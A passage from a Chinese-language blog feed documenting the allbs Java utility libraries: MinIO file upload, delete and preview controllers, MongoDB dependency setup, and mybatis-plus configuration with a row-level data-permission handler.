添加该目录后所有通过api操作的文件或者bucket都将在该目录下</span></span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202109221617448.png" alt=""></p><h3 id="template注入">template注入</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> MinioTemplate minioTemplate;</span><br></pre></td></tr></table></figure><h3 id="单文件上传">单文件上传</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/upload&quot;)</span></span><br><span class="line"><span class="meta">@ApiOperation(value = &quot;文件上传&quot;, notes = &quot;文件上传&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R <span class="title function_">upload</span><span class="params">(<span class="meta">@RequestParam(&quot;file&quot;)</span> MultipartFile file, String folder)</span> &#123;</span><br><span class="line">    folder = Optional.ofNullable(folder).orElse(CommonConstants.BUCKET_NAME);</span><br><span class="line">    <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> IdUtil.simpleUUID() + StrUtil.DOT + FileUtil.extName(file.getOriginalFilename());</span><br><span class="line">    <span class="comment">// 文件夹不存在创建</span></span><br><span class="line">    Map&lt;String, Object&gt; resultMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">4</span>);</span><br><span class="line">    resultMap.put(<span class="string">&quot;fileName&quot;</span>, fileName);</span><br><span class="line">    resultMap.put(<span class="string">&quot;url&quot;</span>, String.format(<span class="string">&quot;/%s/%s&quot;</span>, folder, fileName));</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        minioTemplate.createBucket(folder);</span><br><span class="line">        minioTemplate.putObject(folder, fileName, file.getInputStream());</span><br><span class="line">        <span class="comment">// el-upload 展示需要</span></span><br><span class="line">        resultMap.put(<span class="string">&quot;name&quot;</span>, file.getOriginalFilename());</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;上传失败&quot;</span>, e);</span><br><span class="line">        <span class="keyword">return</span> R.failed(e.getLocalizedMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> R.ok(resultMap);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="文件删除">文件删除</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@ApiOperation(value = &quot;通过文件名称删除文件管理&quot;, notes = &quot;通过文件名称删除文件管理&quot;)</span></span><br><span class="line"><span class="meta">@DeleteMapping(&quot;/deleteFile&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R <span class="title function_">removeById</span><span class="params">(<span class="meta">@RequestParam(&quot;name&quot;)</span> String name, <span class="meta">@RequestParam(&quot;folder&quot;)</span> String folder)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    folder = Optional.ofNullable(folder).orElse(CommonConstants.BUCKET_NAME);</span><br><span class="line">    minioTemplate.removeObject(folder, name);</span><br><span class="line">    <span class="keyword">return</span> R.ok();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="文件预览">文件预览</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/&#123;bucket&#125;/&#123;fileName&#125;&quot;)</span></span><br><span class="line"><span class="meta">@ApiOperation(value = &quot;文件读取&quot;, notes = &quot;文件读取&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">file</span><span class="params">(<span class="meta">@PathVariable</span> String bucket, <span class="meta">@PathVariable</span> String fileName, HttpServletResponse response)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> (<span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> minioTemplate.getObject(bucket, fileName)) &#123;</span><br><span class="line">        response.setContentType(<span class="string">&quot;application/octet-stream; charset=UTF-8&quot;</span>);</span><br><span class="line">        IoUtil.copy(inputStream, response.getOutputStream());</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;文件读取异常: &#123;&#125;&quot;</span>, e.getLocalizedMessage());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="文件批量上传">文件批量上传</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@ApiOperation(value = &quot;批量文件上传&quot;, notes = &quot;文件批量上传&quot;)</span></span><br><span class="line"><span class="meta">@PostMapping(value = &quot;/fileUpload&quot;, headers = &quot;content-type=multipart/form-data&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R <span class="title function_">save</span><span class="params">(<span class="meta">@RequestParam(value = &quot;file&quot;, required = false)</span> MultipartFile[] files, <span class="meta">@RequestParam(&quot;otherParam&quot;)</span> Map&lt;String, Object&gt; params)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (files.length == <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> R.failed(<span class="string">&quot;文件内容不能为空&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 获取文件夹名称</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">folder</span> <span class="operator">=</span> Optional.ofNullable(params).map(a -&gt; MapUtil.getStr(a, <span class="string">&quot;folder&quot;</span>)).orElse(CommonConstants.BUCKET_NAME);</span><br><span class="line">        <span class="keyword">for</span> (MultipartFile file : files) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> IdUtil.simpleUUID() + StrUtil.DOT + FileUtil.extName(file.getOriginalFilename());</span><br><span class="line">            minioTemplate.putObject(folder, fileName, file.getInputStream());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="keyword">return</span> R.failed(e.getLocalizedMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> R.ok();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">allbs工具类说明 - minio操作。allbs 2.0.0版本去除该工具，由allbs-oss替代</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="minio" scheme="https://blog.allbs.cn/tags/minio/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - MongoDb</title>
    <link href="https://blog.allbs.cn/posts/23206/"/>
    <id>https://blog.allbs.cn/posts/23206/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>spring-boot-starter-json</td><td>2.7.2</td></tr><tr><td>spring-boot-starter-data-mongodb</td><td>2.7.2</td></tr><tr><td>allbs-common</td><td>1.1.6</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-mongo<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-mongo:1.1.8&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-mongo:1.1.8&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div>]]></content>
    
    
    <summary type="html">allbs工具类说明 - mongoDb</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="mongoDb" scheme="https://blog.allbs.cn/tags/mongoDb/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - mybatis-plus</title>
    <link href="https://blog.allbs.cn/posts/17428/"/>
    <id>https://blog.allbs.cn/posts/17428/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>mybatis-plus-extension</td><td>3.5.3.1</td></tr><tr><td>mybatis-plus</td><td>3.5.3.1</td></tr><tr><td>mybatis-plus-boot-starter</td><td>3.5.3.1</td></tr><tr><td>spring-boot-starter-web</td><td>2.7.9</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-mybatis<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.3<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-mybatis:2.0.3&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-mybatis:2.0.3&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="配置示例">配置示例</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">mybatis-plus:</span></span><br><span class="line">  <span class="attr">mapper-locations:</span> <span class="string">classpath*:mapper/*/*.xml</span></span><br><span class="line">  <span class="attr">global-config:</span></span><br><span class="line">    <span class="attr">banner:</span> <span class="literal">false</span></span><br><span class="line">    <span class="attr">db-config:</span></span><br><span class="line">      <span class="attr">id-type:</span> <span class="string">auto</span></span><br><span class="line">      <span class="attr">logic-delete-value:</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">logic-not-delete-value:</span> <span class="number">0</span></span><br><span class="line"><span class="comment"># 此处注释是为了使用该包中自定义打印的sql日志，如果放开会打印两次sql日志，只是格式不同</span></span><br><span class="line"><span class="comment">#  configuration:</span></span><br><span class="line"><span class="comment">#    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl</span></span><br><span class="line">  <span class="attr">type-handlers-package:</span> <span class="string">com.allbs.allbsjwt.config.handler</span></span><br><span class="line">  <span class="comment"># 这边是为了打印自定义格式的sql日志，比如参数自动填充，结果按照类似表格输出。如果不需要或者生成环境此处设为false</span></span><br><span class="line">  <span class="attr">show-sql:</span> <span class="literal">true</span></span><br><span class="line">  <span class="comment"># 此处是为了审计自动填充，因为不同表中字段不一样所以逻辑删除、创建者、创建时间、更新者、更新时间字段自定义。有些系统创建者和更新者使用的是id则与本系统不兼容，此处默认的是插入spring security中的用户名</span></span><br><span class="line">   <span class="attr">meta-custom:</span></span><br><span class="line">    <span class="attr">del-flg:</span> <span class="string">delFlag</span></span><br><span class="line">    <span class="attr">create-name:</span> <span class="string">createId</span></span><br><span class="line">    <span class="attr">update-name:</span> <span class="string">updateId</span></span><br><span class="line">  <span class="comment"># 设置中文字符占其他字符的比例，取巧尽量让打印出来的格式工整些，比如某些字体占两个英文的宽度就设置为2</span></span><br><span class="line">  <span class="attr">chine-rate:</span> <span class="number">1.5</span></span><br><span class="line">  <span class="comment"># 是否开启权限过滤字段</span></span><br><span class="line">  <span class="attr">data-pms:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h4 id="日志打印示例">日志打印示例</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/d7858814b394d0c4f4793f6cc0f1171f.png" alt="image-20230327111534230"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/936d0f475f49c3f453be9ec73159fa79.png" alt="image-20230327111549175"></p><h4 id="审计字段自动插入">审计字段自动插入</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/4878b68ea6a97f484ed4622a1c354143.png" alt="image-20230327111732400"></p><h4 id="权限过滤">权限过滤</h4><h5 id="开启">开启</h5><p>mybatis-plus.data-pms 设置为<code>true</code>,看上方配置示例最后一个配置</p><h5 id="使用说明">使用说明</h5><p>实现<code>DataPmsHandler</code>后写详细的逻辑即可，比如:</p><p><code>@ScopeField</code>是用于跟表关联的实体类上的注解，用于标记改表中权限过滤的字段是哪个，以下类举例：下文中<code>DEFAULT_FILTER_FIELD</code>默认的是<code>ent_id</code>指数据库表中以该字段作为区分，如果有张表突然设置的是<code>unit_id</code>而不是<code>ent_id</code>则在对应的实体上设置<code>@ScopeField(&quot;unit_id&quot;)</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.utils.SecurityUtils;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.vo.SysUser;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.common.constant.StringPool;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.datascope.DataPmsHandler;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.datascope.ScopeField;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.utils.PluginUtils;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableInfo;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableInfoHelper;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Alias;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Expression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.LongValue;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.conditional.AndExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.EqualsTo;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.InExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Column;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Optional;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 CustomPermissionHandler</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomPermissionHandler</span> <span class="keyword">implements</span> <span class="title class_">DataPmsHandler</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">DEFAULT_FILTER_FIELD</span> <span class="operator">=</span> <span class="string">&quot;ent_id&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取数据权限 SQL 片段</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> where             待执行 SQL Where 条件表达式</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> mappedStatementId Mybatis MappedStatement Id 根据该参数可以判断具体执行方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> JSqlParser 条件表达式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Expression <span class="title function_">getSqlSegment</span><span class="params">(<span class="keyword">final</span> Table table, Expression where, String mappedStatementId)</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果非权限用户则不往下执行，执行原sql</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> where;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 在有权限的情况下查询用户所关联的企业列表</span></span><br><span class="line">        Set&lt;Long&gt; permissionEntList = sysUser.getEntIdList();</span><br><span class="line"><span class="comment">//        if (permissionEntList.size() == 0) &#123;</span></span><br><span class="line"><span class="comment">//            return where;</span></span><br><span class="line"><span class="comment">//        &#125;</span></span><br><span class="line">        <span class="type">TableInfo</span> <span class="variable">tableInfo</span> <span class="operator">=</span> TableInfoHelper.getTableInfo(table.getName());</span><br><span class="line">        <span class="type">String</span> <span class="variable">fieldName</span> <span class="operator">=</span> Optional.ofNullable(tableInfo.getEntityType().getAnnotation(ScopeField.class)).map(ScopeField::value).orElse(DEFAULT_FILTER_FIELD);</span><br><span class="line">        <span class="type">String</span> <span class="variable">finalFieldName</span> <span class="operator">=</span> Optional.of(table).map(Table::getAlias).map(a -&gt; a.getName() + StringPool.DOT + fieldName).orElse(fieldName);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (permissionEntList.size() &gt; <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="comment">// 把集合转变为 JSQLParser需要的元素列表</span></span><br><span class="line">            <span class="type">InExpression</span> <span class="variable">inExpression</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InExpression</span>(<span class="keyword">new</span> <span class="title class_">Column</span>(finalFieldName), PluginUtils.getItemList(permissionEntList));</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 组装sql</span></span><br><span class="line">            <span class="keyword">return</span> where == <span class="literal">null</span> ? inExpression : <span class="keyword">new</span> <span class="title class_">AndExpression</span>(where, inExpression);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 设置where</span></span><br><span class="line">        <span class="type">EqualsTo</span> <span class="variable">equalsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">        equalsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(finalFieldName));</span><br><span class="line">        equalsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(permissionEntList.stream().findFirst().orElse(<span class="number">0L</span>)));</span><br><span class="line">        <span class="keyword">return</span> where == <span class="literal">null</span> ? equalsTo : <span class="keyword">new</span> <span class="title class_">AndExpression</span>(where, equalsTo);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="效果">效果</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/f855ae259b5a422c3d2e110e01205efe.png" alt="image-20230330102020985"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/5547c31afa2a0d0f482bfd2efcc25c95.png" alt="image-20230330102109077"></p><h5 id="忽略权限拦截的方法">忽略权限拦截的方法</h5><ul><li>自定义sql情况下忽略:</li></ul><p>在对应的dao指定方法上添加注解<code>@InterceptorIgnore</code></p><ul><li>使用mybatis plus 内置sdk的情况下忽略:</li></ul><p>dao继承的BaseMapper修改为<code>PmsMapper</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/02b3c178fffface3b01bbfb61b60d3a2.png" alt="image-20230330104127313"></p><ul><li><p>指定表所有数据都不经过过滤</p><p>在对应的dao上添加注解<code>@InterceptorIgnore</code></p></li></ul><h4 id="新增、修改、批量新增、批量修改时的越权判断">新增、修改、批量新增、批量修改时的越权判断</h4><p>实现<code>DataPmsHandler</code>中的<code>updateParameter</code>和<code>insertParameter</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.allbsjwt.config.datascope.mapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.exception.UserOverreachException;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.utils.SecurityUtils;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.vo.SysUser;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.common.constant.StringPool;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.datascope.DataPmsHandler;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.datascope.ScopeField;</span><br><span 